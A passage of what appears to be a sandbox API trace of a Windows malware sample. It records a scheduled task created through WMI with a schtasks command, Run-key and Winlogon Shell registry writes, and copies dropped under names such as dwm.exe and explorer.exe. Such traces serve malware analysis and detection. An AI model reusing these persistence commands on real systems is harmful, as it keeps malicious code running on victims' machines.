puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x1d, pszText=0x0) returned 0x0 [0128.617] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af460, lFlags=4, puBuffLength=0x1b30d590*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0128.617] CoGetContextToken (in: pToken=0x1b30cea0 | out: pToken=0x1b30cea0) returned 0x0 [0128.617] WbemLocator:IUnknown:AddRef (This=0x1b511d98) returned 0x3 [0128.617] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511d98, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cea0 | out: ppvObject=0x1b30cea0*=0x1b511d98) returned 0x0 [0128.617] WbemLocator:IUnknown:Release (This=0x1b511d98) returned 0x3 [0128.617] WbemLocator:IUnknown:Release (This=0x1b511d98) returned 0x2 [0128.617] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af460, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0128.617] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af460, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0128.617] IWbemServices:GetObject (in: This=0x1b4ceb90, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d520*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d520*=0x1b4d9110, ppCallResult=0x0) returned 0x0 [0128.620] IWbemClassObject:GetMethod (in: This=0x1b4d9110, wszName="Create", lFlags=0, ppInSignature=0x1b30d618, ppOutSignature=0x1b30d610 | out: ppInSignature=0x1b30d618*=0x1b4d9ed0, ppOutSignature=0x1b30d610*=0x1b4da240) returned 0x0 [0128.621] IWbemClassObject:SpawnInstance (in: This=0x1b4d9ed0, lFlags=0, ppNewInstance=0x1b30d628 | out: ppNewInstance=0x1b30d628*=0x1b4d12b0) returned 0x0 [0128.621] IWbemClassObject:Get (in: This=0x1b4d12b0, wszName="CommandLine", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ae590*=0, plFlavor=0x27ae594*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ae590*=8, plFlavor=0x27ae594*=32) returned 0x0 [0128.621] IWbemClassObject:Get (in: This=0x1b4d12b0, wszName="CommandLine", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ae590*=8, plFlavor=0x27ae594*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ae590*=8, plFlavor=0x27ae594*=32) returned 0x0 [0128.621] IWbemClassObject:Put (This=0x1b4d12b0, wszName="CommandLine", lFlags=0, pVal=0x1b30d590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"SystemS\" /sc MINUTE /mo 14 /tr \"'C:\\Users\\All Users\\Application Data\\System.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0128.621] IWbemClassObject:Get (in: This=0x1b4d12b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ae620*=0, plFlavor=0x27ae624*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ae620*=13, plFlavor=0x27ae624*=32) returned 0x0 [0128.622] IWbemClassObject:Get (in: This=0x1b4d12b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ae620*=13, plFlavor=0x27ae624*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ae620*=13, plFlavor=0x27ae624*=32) returned 0x0 [0128.622] IUnknown:QueryInterface (in: This=0x1b4d9b60, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ce00 | out: ppvObject=0x1b30ce00*=0x1b4d9b60) returned 0x0 [0128.622] IUnknown:QueryInterface (in: This=0x1b4d9b60, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30ce90 | out: ppvObject=0x1b30ce90*=0x0) returned 0x80004002 [0128.622] IUnknown:QueryInterface (in: This=0x1b4d9b60, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0128.622] IUnknown:QueryInterface (in: This=0x1b4d9b60, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c688 | out: ppvObject=0x1b30c688*=0x0) returned 0x80004002 [0128.622] IUnknown:AddRef (This=0x1b4d9b60) returned 0x3 [0128.622] IUnknown:QueryInterface (in: This=0x1b4d9b60, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c548 | out: ppvObject=0x1b30c548*=0x0) returned 0x80004002 [0128.622] IUnknown:QueryInterface (in: This=0x1b4d9b60, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c4d0 | out: ppvObject=0x1b30c4d0*=0x0) returned 0x80004002 [0128.622] IUnknown:QueryInterface (in: This=0x1b4d9b60, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c4c0 | out: ppvObject=0x1b30c4c0*=0x1b4d9b68) returned 0x0 [0128.622] IMarshal:GetUnmarshalClass (in: This=0x1b4d9b68, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c4e8 | out: pCid=0x1b30c4e8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0128.622] IUnknown:Release (This=0x1b4d9b68) returned 0x3 [0128.622] CoGetContextToken (in: pToken=0x1b30c570 | out: pToken=0x1b30c570) returned 0x0 [0128.622] CoGetContextToken (in: pToken=0x1b30c9f0 | out: pToken=0x1b30c9f0) returned 0x0 [0128.622] IUnknown:QueryInterface (in: This=0x1b4d9b60, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0128.622] IUnknown:Release (This=0x1b4d9b60) returned 0x2 [0128.623] CoGetContextToken (in: pToken=0x1b30ca20 | out: pToken=0x1b30ca20) returned 0x0 [0128.623] CoGetContextToken (in: pToken=0x1b30c920 | out: pToken=0x1b30c920) returned 0x0 [0128.623] IUnknown:QueryInterface (in: This=0x1b4d9b60, riid=0x1b30ca80*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b30ca50 | out: ppvObject=0x1b30ca50*=0x0) returned 0x80004002 [0128.623] CoGetContextToken (in: pToken=0x1b30cbb0 | out: pToken=0x1b30cbb0) returned 0x0 [0128.623] IUnknown:QueryInterface (in: This=0x1b4d9b60, riid=0x7ffa5f025148*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc80 | out: ppvObject=0x1b30cc80*=0x0) returned 0x80004002 [0128.623] CoGetContextToken (in: pToken=0x1b30cc40 | out: pToken=0x1b30cc40) returned 0x0 [0128.623] IUnknown:AddRef (This=0x1b4d9b60) returned 0x3 [0128.623] IWbemClassObject:Put (This=0x1b4d12b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d590*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b4d9b60, varVal2=0x0), Type=0) returned 0x0 [0128.623] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af2e0, puCount=0x1b30d648 | out: puCount=0x1b30d648*=0x2) returned 0x0 [0128.623] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af2e0, lFlags=4, puBuffLength=0x1b30d640*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d640*=0x22, pszText=0x0) returned 0x0 [0128.623] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af2e0, lFlags=4, puBuffLength=0x1b30d640*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d640*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0128.623] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b01e0, puCount=0x1b30d588 | out: puCount=0x1b30d588*=0x2) returned 0x0 [0128.623] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=4, puBuffLength=0x1b30d580*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d580*=0xf, pszText=0x0) returned 0x0 [0128.623] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=4, puBuffLength=0x1b30d580*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d580*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.623] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0128.623] WbemLocator:IUnknown:AddRef (This=0x1b511d98) returned 0x3 [0128.623] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511d98, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b511d98) returned 0x0 [0128.623] WbemLocator:IUnknown:Release (This=0x1b511d98) returned 0x3 [0128.623] WbemLocator:IUnknown:Release (This=0x1b511d98) returned 0x2 [0128.624] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0128.624] WbemLocator:IUnknown:AddRef (This=0x1b511d98) returned 0x3 [0128.624] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511d98, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b511d98) returned 0x0 [0128.624] WbemLocator:IUnknown:Release (This=0x1b511d98) returned 0x3 [0128.624] WbemLocator:IUnknown:Release (This=0x1b511d98) returned 0x2 [0128.624] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af2e0, lFlags=2, puBuffLength=0x1b30d650*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d650*=0xe, pszText=0x0) returned 0x0 [0128.624] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af2e0, lFlags=2, puBuffLength=0x1b30d650*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d650*=0xe, pszText="Win32_Process") returned 0x0 [0128.624] IWbemServices:ExecMethod (in: This=0x1b4ceb90, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1b4d12b0, ppOutParams=0x1b30d5c0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b30d5c0*=0x1b412e90, ppCallResult=0x0) returned 0x0 [0128.681] IWbemClassObject:Get (in: This=0x1b412e90, wszName="ProcessId", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ae930*=0, plFlavor=0x27ae934*=0 | out: pVal=0x1b30d590*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xb04, varVal2=0x0), pType=0x27ae930*=19, plFlavor=0x27ae934*=0) returned 0x0 [0128.681] IWbemClassObject:Get (in: This=0x1b412e90, wszName="ProcessId", lFlags=0, pVal=0x1b30d5a0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ae930*=19, plFlavor=0x27ae934*=0 | out: pVal=0x1b30d5a0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xb04, varVal2=0x0), pType=0x27ae930*=19, plFlavor=0x27ae934*=0) returned 0x0 [0128.682] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b30d868 | out: phkResult=0x1b30d868*=0x4f8) returned 0x0 [0128.682] RegQueryValueExW (in: hKey=0x4f8, lpValueName="System", lpReserved=0x0, lpType=0x1b30d888, lpData=0x0, lpcbData=0x1b30d880*=0x0 | out: lpType=0x1b30d888*=0x0, lpData=0x0, lpcbData=0x1b30d880*=0x0) returned 0x2 [0128.682] RegSetValueExW (in: hKey=0x4f8, lpValueName="System", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\All Users\\Application Data\\System.exe\"", cbData=0x62 | out: lpData="\"C:\\Users\\All Users\\Application Data\\System.exe\"") returned 0x0 [0128.682] RegCloseKey (hKey=0x4f8) returned 0x0 [0128.683] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b30d868 | out: phkResult=0x1b30d868*=0x4f8) returned 0x0 [0128.683] RegQueryValueExW (in: hKey=0x4f8, lpValueName="System", lpReserved=0x0, lpType=0x1b30d888, lpData=0x0, lpcbData=0x1b30d880*=0x0 | out: lpType=0x1b30d888*=0x0, lpData=0x0, lpcbData=0x1b30d880*=0x0) returned 0x2 [0128.683] RegSetValueExW (in: hKey=0x4f8, lpValueName="System", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\All Users\\Application Data\\System.exe\"", cbData=0x62 | out: lpData="\"C:\\Users\\All Users\\Application Data\\System.exe\"") returned 0x0 [0128.683] RegCloseKey (hKey=0x4f8) returned 0x0 [0128.684] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b30d868 | out: phkResult=0x1b30d868*=0x4f8) returned 0x0 [0128.684] RegQueryValueExW (in: hKey=0x4f8, lpValueName="Shell", lpReserved=0x0, lpType=0x1b30d8b8, lpData=0x0, lpcbData=0x1b30d8b0*=0x0 | out: lpType=0x1b30d8b8*=0x1, lpData=0x0, lpcbData=0x1b30d8b0*=0x36c) returned 0x0 [0128.691] RegQueryValueExW (in: hKey=0x4f8, lpValueName="Shell", lpReserved=0x0, lpType=0x1b30d8b8, lpData=0x27af700, lpcbData=0x1b30d8b0*=0x36c | out: lpType=0x1b30d8b8*=0x1, lpData="explorer.exe, \"C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe\", \"C:\\Boot\\pt-BR\\gmailnotifierpro.exe\", \"C:\\Windows\\L2Schemas\\pidgin.exe\", \"C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe\", \"C:\\Boot\\zh-TW\\explorer.exe\", \"C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe\", \"C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe\", \"C:\\Recovery\\WindowsRE\\SearchUI.exe\"", lpcbData=0x1b30d8b0*=0x36c) returned 0x0 [0128.691] RegQueryValueExW (in: hKey=0x4f8, lpValueName="Shell", lpReserved=0x0, lpType=0x1b30d888, lpData=0x0, lpcbData=0x1b30d880*=0x0 | out: lpType=0x1b30d888*=0x1, lpData=0x0, lpcbData=0x1b30d880*=0x36c) returned 0x0 [0128.691] RegSetValueExW (in: hKey=0x4f8, lpValueName="Shell", Reserved=0x0, dwType=0x1, lpData="explorer.exe, \"C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe\", \"C:\\Boot\\pt-BR\\gmailnotifierpro.exe\", \"C:\\Windows\\L2Schemas\\pidgin.exe\", \"C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe\", \"C:\\Boot\\zh-TW\\explorer.exe\", \"C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe\", \"C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe\", \"C:\\Recovery\\WindowsRE\\SearchUI.exe\", \"C:\\Users\\All Users\\Application Data\\System.exe\"", cbData=0x3d0 | out: lpData="explorer.exe, \"C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe\", \"C:\\Boot\\pt-BR\\gmailnotifierpro.exe\", \"C:\\Windows\\L2Schemas\\pidgin.exe\", \"C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe\", \"C:\\Boot\\zh-TW\\explorer.exe\", \"C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe\", \"C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe\", \"C:\\Recovery\\WindowsRE\\SearchUI.exe\", \"C:\\Users\\All Users\\Application Data\\System.exe\"") returned 0x0 [0128.691] RegCloseKey (hKey=0x4f8) returned 0x0 [0130.039] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\e802a8f5f5f66cfac0e0bb013f7ab510d7cf622e", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b30db68 | out: phkResult=0x1b30db68*=0x0) returned 0x2 [0130.039] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\e802a8f5f5f66cfac0e0bb013f7ab510d7cf622e", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x1b30dbc0, lpdwDisposition=0x1b30dca8 | out: phkResult=0x1b30dbc0*=0x420, lpdwDisposition=0x1b30dca8*=0x1) returned 0x0 [0130.051] RegQueryValueExW (in: hKey=0x420, lpValueName="3359776c78eef85b0fa3da7ec6cdb87b666aafc4", lpReserved=0x0, lpType=0x1b30dc78, lpData=0x0, lpcbData=0x1b30dc70*=0x0 | out: lpType=0x1b30dc78*=0x0, lpData=0x0, lpcbData=0x1b30dc70*=0x0) returned 0x2 [0130.051] RegSetValueExW (in: hKey=0x420, lpValueName="3359776c78eef85b0fa3da7ec6cdb87b666aafc4", Reserved=0x0, dwType=0x1, lpData="WyJDOlxcVXNlcnNcXFJEaEowQ05GZXZ6WFxcRGVza3RvcFxcbGliR0xFU3YyLmRsbC5leGUiLCJDOlxcUHJvZ3JhbSBGaWxlc1xcTWljcm9zb2Z0IFNRTCBTZXJ2ZXJcXDExMFxcU2hhcmVkXFxkd20uZXhlIiwiQzpcXEJvb3RcXHB0LUJSXFxnbWFpbG5vdGlmaWVycHJvLmV4ZSIsIkM6XFxXaW5kb3dzXFxMMlNjaGVtYXNcXHBpZGdpbi5leGUiLCJDOlxcTVNPQ2FjaGVcXEFsbCBVc2Vyc1xcezkwMTYwMDAwLTAwMTgtMDQwOS0xMDAwLTAwMDAwMDBGRjFDRX0tQ1xcb21uaXBvcy5leGUiLCJDOlxcQm9vdFxcemgtVFdcXGV4cGxvcmVyLmV4ZSIsIkM6XFxQcm9ncmFtIEZpbGVzICh4ODYpXFxXaW5kb3dzIE5UXFxUYWJsZVRleHRTZXJ2aWNlXFxkcmF3IGZhY2UuZXhlIiwiQzpcXE1TT0NhY2hlXFxBbGwgVXNlcnNcXHs5MDE2MDAwMC0wMDFBLTA0MDktMTAwMC0wMDAwMDAwRkYxQ0V9LUNcXGFjY3Vwb3MuZXhlIiwiQzpcXFJlY292ZXJ5XFxXaW5kb3dzUkVcXFNlYXJjaFVJLmV4ZSIsIkM6XFxVc2Vyc1xcQWxsIFVzZXJzXFxBcHBsaWNhdGlvbiBEYXRhXFxTeXN0ZW0uZXhlIl0=", cbData=0x5ca | out: lpData="WyJDOlxcVXNlcnNcXFJEaEowQ05GZXZ6WFxcRGVza3RvcFxcbGliR0xFU3YyLmRsbC5leGUiLCJDOlxcUHJvZ3JhbSBGaWxlc1xcTWljcm9zb2Z0IFNRTCBTZXJ2ZXJcXDExMFxcU2hhcmVkXFxkd20uZXhlIiwiQzpcXEJvb3RcXHB0LUJSXFxnbWFpbG5vdGlmaWVycHJvLmV4ZSIsIkM6XFxXaW5kb3dzXFxMMlNjaGVtYXNcXHBpZGdpbi5leGUiLCJDOlxcTVNPQ2FjaGVcXEFsbCBVc2Vyc1xcezkwMTYwMDAwLTAwMTgtMDQwOS0xMDAwLTAwMDAwMDBGRjFDRX0tQ1xcb21uaXBvcy5leGUiLCJDOlxcQm9vdFxcemgtVFdcXGV4cGxvcmVyLmV4ZSIsIkM6XFxQcm9ncmFtIEZpbGVzICh4ODYpXFxXaW5kb3dzIE5UXFxUYWJsZVRleHRTZXJ2aWNlXFxkcmF3IGZhY2UuZXhlIiwiQzpcXE1TT0NhY2hlXFxBbGwgVXNlcnNcXHs5MDE2MDAwMC0wMDFBLTA0MDktMTAwMC0wMDAwMDAwRkYxQ0V9LUNcXGFjY3Vwb3MuZXhlIiwiQzpcXFJlY292ZXJ5XFxXaW5kb3dzUkVcXFNlYXJjaFVJLmV4ZSIsIkM6XFxVc2Vyc1xcQWxsIFVzZXJzXFxBcHBsaWNhdGlvbiBEYXRhXFxTeXN0ZW0uZXhlIl0=") returned 0x0 [0130.052] RegCloseKey (hKey=0x420) returned 0x0 [0130.218] RoGetParameterizedTypeInstanceIID () returned 0x0 [0130.218] Ro::detail::SimpleMetaDataBuilder::SetParameterizedInterface () returned 0x0 [0130.218] Ro::detail::SimpleMetaDataBuilder::SetParameterizedInterface () returned 0x0 [0130.220] RoGetParameterizedTypeInstanceIID () returned 0x0 [0130.220] Ro::detail::SimpleMetaDataBuilder::SetParameterizedInterface () returned 0x0 [0130.221] RoGetParameterizedTypeInstanceIID () returned 0x0 [0130.221] Ro::detail::SimpleMetaDataBuilder::SetParameterizedInterface () returned 0x0 [0130.416] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe", nBufferLength=0x105, lpBuffer=0x1b30cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe", lpFilePart=0x0) returned 0x2f [0130.416] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30d330) returned 1 [0130.416] GetFileAttributesExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\libglesv2.dll.exe"), fInfoLevelId=0x0, lpFileInformation=0x1b30d410 | out: lpFileInformation=0x1b30d410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded7ea00, ftCreationTime.dwHighDateTime=0x1d9eb0b, ftLastAccessTime.dwLowDateTime=0xdf708080, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xb6052400, ftLastWriteTime.dwHighDateTime=0x1d9eb0e, nFileSizeHigh=0x0, nFileSizeLow=0x1f2e00)) returned 1 [0130.416] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d2f0) returned 1 [0130.422] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe", nBufferLength=0x105, lpBuffer=0x1b30cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe", lpFilePart=0x0) returned 0x38 [0130.422] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30d330) returned 1 [0130.422] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe" (normalized: "c:\\program files\\microsoft sql server\\110\\shared\\dwm.exe"), fInfoLevelId=0x0, lpFileInformation=0x1b30d410 | out: lpFileInformation=0x1b30d410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e42863b, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x1e42863b, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0xb6052400, ftLastWriteTime.dwHighDateTime=0x1d9eb0e, nFileSizeHigh=0x0, nFileSizeLow=0x1f2e00)) returned 1 [0130.423] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d2f0) returned 1 [0130.427] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-BR\\gmailnotifierpro.exe", nBufferLength=0x105, lpBuffer=0x1b30cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-BR\\gmailnotifierpro.exe", lpFilePart=0x0) returned 0x22 [0130.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30d330) returned 1 [0130.428] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-BR\\gmailnotifierpro.exe" (normalized: "c:\\boot\\pt-br\\gmailnotifierpro.exe"), fInfoLevelId=0x0, lpFileInformation=0x1b30d410 | out: lpFileInformation=0x1b30d410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20d6b3eb, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x20d6b3eb, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0xb6052400, ftLastWriteTime.dwHighDateTime=0x1d9eb0e, nFileSizeHigh=0x0, nFileSizeLow=0x1f2e00)) returned 1 [0130.428] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d2f0) returned 1 [0130.432] GetFullPathNameW (in: lpFileName="C:\\Windows\\L2Schemas\\pidgin.exe", nBufferLength=0x105, lpBuffer=0x1b30cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\L2Schemas\\pidgin.exe", lpFilePart=0x0) returned 0x1f [0130.433] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30d330) returned 1 [0130.433] GetFileAttributesExW (in: lpFileName="C:\\Windows\\L2Schemas\\pidgin.exe" (normalized: "c:\\windows\\l2schemas\\pidgin.exe"), fInfoLevelId=0x0, lpFileInformation=0x1b30d410 | out: lpFileInformation=0x1b30d410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22378f78, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x22378f78, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0xb6052400, ftLastWriteTime.dwHighDateTime=0x1d9eb0e, nFileSizeHigh=0x0, nFileSizeLow=0x1f2e00)) returned 1 [0130.433] SetThreadErrorMode 